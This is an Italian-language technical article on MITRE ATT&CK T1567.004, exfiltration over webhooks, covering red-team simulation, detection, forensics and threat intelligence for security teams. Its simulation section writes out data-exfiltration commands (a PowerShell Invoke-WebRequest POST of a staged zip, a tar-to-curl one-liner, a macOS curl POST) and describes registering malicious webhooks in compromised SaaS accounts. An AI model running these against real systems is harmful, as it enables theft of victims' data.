Esfiltrazione via Webhook: Exfiltration Over Webhook (T1567.004)

In un esercizio red team autorizzato, la simulazione di T1567.004 richiede la creazione di un endpoint ricevente controllato e la generazione di traffico realistico verso di esso. Il tool più immediato per il proof-of-concept è webhook.site (freemium), che fornisce un URL univoco e mostra in tempo reale i payload ricevuti — utile per validare la catena senza dover configurare infrastruttura.

Su Windows, la catena tipica prevede staging locale seguito da POST HTTPS. Con PowerShell nativo, dopo aver compresso una cartella target, l'invio si realizza con Invoke-WebRequest -Uri -Method POST -InFile C:\Temp\staged.zip -ContentType 'application/octet-stream'. Per aumentare il realismo operativo, molti team usano Nishang (open source) o moduli custom di Empire (open source) che incorporano funzioni di esfiltrazione via webhook Discord o Slack. Il payload può essere frammentato in chunk base64 per rispettare i limiti di dimensione tipici (8 MB su Discord webhook standard).

Su Linux, la simulazione è ancora più diretta. Dopo aver raccolto file sensibili, un one-liner come tar czf - /home/user/docs | curl -X POST --data-binary @- riproduce il pattern tipico. Per catene più sofisticate si può usare exfil-kit o script Python con la libreria requests, applicando cifratura AES lato client prima dell'invio per simulare avversari avanzati.

Su macOS l'approccio combina AppleScript e utility CLI. Un flusso realistico legge la clipboard o file specifici con osascript, poi trasmette con curl -X POST -H 'Content-Type: application/json' -d @payload.json . Automator può orchestrare workflow che si attivano su eventi utente, aumentando la persistenza del canale.

Su ESXi, il vettore sfrutta l'accesso alla console o a script di gestione: dopo aver copiato file .vmdk o log da hostd, l'invio avviene con curl dalla shell ESXi verso il webhook esterno.

Per scenari SaaS, la parte più insidiosa consiste nel registrare un webhook malevolo su servizi come Jira, GitHub o Trello compromessi via account privilegiato. Ogni evento sul progetto genera automaticamente un POST verso l'endpoint dell'attaccante, realizzando esfiltrazione continua senza ulteriore interazione. Strumenti come Burp Suite (freemium) e mitmproxy (open source) sono utili in laboratorio per ispezionare e modificare i payload trasmessi durante il test.

La detection di T1567.004 si fonda sulla correlazione tra processi anomali, endpoint webhook noti e volumi di dati trasmessi. La difficoltà principale è che il traffico è HTTPS verso domini legittimi come discord.com, slack.com o webhook.site, quindi la sola ispezione DNS o SNI non basta.

Su Windows, l'alert prioritario riguarda processi non-browser che generano connessioni HTTPS verso domini webhook. Le log source chiave sono Sysmon EventID 3 (network connection) e EventID 1 (process create), incrociate con Windows Security 5156. Un pattern sospetto è powershell.exe, wscript.exe o mshta.exe che apre connessioni verso discord.com/api/webhooks o hooks.slack.com. La regola dovrebbe tenere conto del parametro [UploadSizeThreshold] per distinguere heartbeat legittimi da trasferimenti bulk, e mantenere una [ApprovedApps] list per applicazioni business che usano webhook in modo lecito (CI/CD, monitoring).

Su Linux, la telemetria si basa su auditd con regole su EXECVE e SYSCALL per intercettare invocazioni di curl, wget o interpreti Python con argomenti che contengono URL webhook. La correlazione più efficace è tra eventi di compressione (tar, gzip, zip) e successivo traffico uscente osservato via NSM:Flow o Zeek. Applicare il tuning [AllowedTools] e [TimeWindow] riduce i falsi positivi legati a pipeline CI/CD legittime.

Su macOS, l'unified log traccia l'esecuzione di osascript e Automator, mentre EndpointSecurity può correlare accessi alla clipboard o a file utente con successivo traffico HTTPS. Payload ad alta entropia (parametro [EntropyThreshold]) suggeriscono cifratura o encoding pre-esfiltrazione.

Su ESXi, monitorare hostd e vmkernel per identificare POST HTTP originati da processi non standard, specialmente dopo accessi ai datastore o ai log delle VM. La whitelist [ApprovedIntegrations] aiuta a distinguere automazioni vSphere autorizzate.

In ambiente SaaS, il segnale più forte è la creazione di nuovi webhook che puntano a domini esterni non aziendali. Log source come m365:unified e le API di audit di Slack, Jira o GitHub espongono eventi di registrazione webhook. Le regole devono attivarsi su [WebhookRegistrations] verso [ExternalDomains] non whitelistati, con priorità alta se accompagnate da attività di export massivo.

I falsi positivi principali derivano da integrazioni DevOps legittime (GitHub Actions, GitLab CI, Jenkins) e da bot di notifica interni. Una baseline per team e repository, aggiornata periodicamente, è essenziale per mantenere la segnale-rumore accettabile.

L'analisi forense di un incidente T1567.004 richiede la ricostruzione della catena staging-compressione-trasmissione e l'identificazione degli endpoint webhook contattati. Gli artefatti utili si distribuiscono tra endpoint, rete e piattaforme SaaS.

Su Windows, la timeline parte dai log Sysmon: EventID 1 per l'esecuzione di interpreti (PowerShell, cscript, mshta), EventID 11 per file di staging creati in directory temporanee come C:\Users<user>\AppData\Local\Temp, EventID 3 per le connessioni uscenti verso domini webhook. I PowerShell ScriptBlock logs (EventID 4104) spesso contengono l'URL completo del webhook e il cmdlet Invoke-WebRequest o Invoke-RestMethod. Il PSReadLine history in %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt può conservare comandi interattivi. Prefetch (C:\Windows\Prefetch) e ShimCache aiutano a datare l'esecuzione di tool custom. Nei browser, la cronologia e i cookie possono rivelare accessi manuali a webhook.site per la configurazione dell'endpoint.

Su Linux, l'analisi si concentra sui log auditd configurati per tracciare execve: le invocazioni di curl o wget con URL webhook restano visibili con argomenti completi. La ~/.bash_history (se non manomessa) fornisce contesto sui comandi interattivi. I file temporanei di staging spesso finiscono in /tmp o /var/tmp; il loro inode timestamp incrociato con i log di rete permette di ricostruire la sequenza. Log NSM di Zeek (conn.log, ssl.log) espongono SNI, dimensione dei trasferimenti e durata delle sessioni verso i domini webhook.

Su macOS, l'unified log interrogato con log show --predicate filtrato su osascript o curl ricostruisce l'attività. Il file ~/.zsh_history o ~/.bash_history conserva la CLI. FSEvents e Quarantine database (com.apple.LaunchServices.QuarantineEventsV2) possono mostrare file scaricati e successivamente esfiltrati.

Su ESXi, i log hostd.log e vmkernel.log in /var/log/ documentano accessi ai datastore e operazioni sospette. La shell history di ESXi (/.ash_history per root) e i log di shell.log tracciano comandi eseguiti sull'hypervisor.

Per la parte SaaS, gli audit log di Microsoft 365 (Unified Audit Log), Google Workspace, Slack Enterprise Grid, GitHub e Jira registrano la creazione di webhook con timestamp, utente responsabile e URL destinazione. Questi log sono spesso l'unica prova diretta della configurazione malevola e vanno acquisiti rapidamente perché soggetti a retention limitata (tipicamente 90-180 giorni).

La timeline consolidata deve correlare: creazione dell'endpoint webhook, accesso ai dati sorgente, eventuale compressione o cifratura, connessioni uscenti e volume trasferito. L'assenza di infrastruttura C2 dedicata rende cruciale la conservazione di packet capture o metadati NetFlow per periziare la reale volumetria di esfiltrazione.

I dati MITRE ATT&CK forniti per T1567.004 non riportano gruppi APT, software o campagne specificamente attribuiti a questa tecnica. Questo è un dato in sé significativo: indica che la tecnica è ancora prevalentemente osservata in contesti criminali opportunistici, insider threat e commodity malware, più che in operazioni APT nation-state formalmente documentate nel framework.

Dal punto di vista di threat intelligence, il pattern di adozione riflette diverse dinamiche strutturali. L'uso di webhook come canale di esfiltrazione richiede infrastruttura minima e nessuna competenza avanzata di sviluppo C2, abbassando la barriera d'ingresso. Questo la rende attraente per attori a bassa maturità, per script kiddie e per operatori di information stealer commerciali, dove Discord webhook sono da tempo il canale predefinito di consegna delle credenziali sottratte. Molti stealer venduti in forum underground offrono configurazione point-and-click di webhook Discord come default di esfiltrazione.

Per attori più maturi, il valore strategico risiede nella living-off-trusted-services: mimetizzarsi nel traffico SaaS legittimo permette di operare in ambienti dove il proxy aziendale whitelista domini collaborativi. Questa logica si sovrappone a tecniche adiacenti della tattica TA0010 come T1567.002 (Exfiltration to Cloud Storage) e T1567.003 (Exfiltration to Text Storage Sites), che condividono la stessa filosofia di abuso di servizi legittimi. Gli analisti dovrebbero trattare queste tecniche come un cluster comportamentale piuttosto che come vettori isolati.

Un secondo pattern rilevante è l'abuso di webhook SaaS-to-SaaS. Compromettere un account con privilegi amministrativi su piattaforme come Jira, GitHub, Trello o Notion permette di registrare webhook che esfiltrano automaticamente ogni evento del workspace verso endpoint esterni, senza mai eseguire codice sull'endpoint della vittima. Questa modalità è particolarmente critica per organizzazioni con supply chain di sviluppo esposte, dove la fuga di codice sorgente e ticket interni ha impatto strategico.

Sul fronte trend, la crescente adozione di piattaforme di collaborazione in ambito enterprise amplia la superficie d'attacco: ogni nuovo servizio SaaS integrato aggiunge potenziali endpoint webhook da monitorare. I team di threat intel dovrebbero mantenere un inventario aggiornato dei domini webhook più abusati (discord.com/api/webhooks, hooks.slack.com, webhook.site, pipedream.com, n8n.cloud) e integrare feed di intelligence che tracciano endpoint riceventi noti come malevoli.

La priorità strategica raccomandata è l'applicazione della mitigazione M1057 (Data Loss Prevention) con policy specifiche su upload verso domini webhook non whitelistati, unita a governance rigorosa sulla creazione di webhook nei tenant SaaS aziendali.

MITRE ATT&CK: tecnica T1567.004 (Exfiltration Over Webhook), tattica TA0010 (Exfiltration), mitigazione M1057 (Data Loss Prevention). Detection strategy DET0153 con analytics AN0436-AN0440 per Windows, Linux, macOS, ESXi e SaaS. Per comandi operativi, tool citati (webhook.site, Nishang, Empire, Burp Suite, mitmproxy, Zeek) e artefatti forensi è stata integrata conoscenza professionale di cybersecurity verificabile su documentazione ufficiale e repository pubblici dei rispettivi progetti.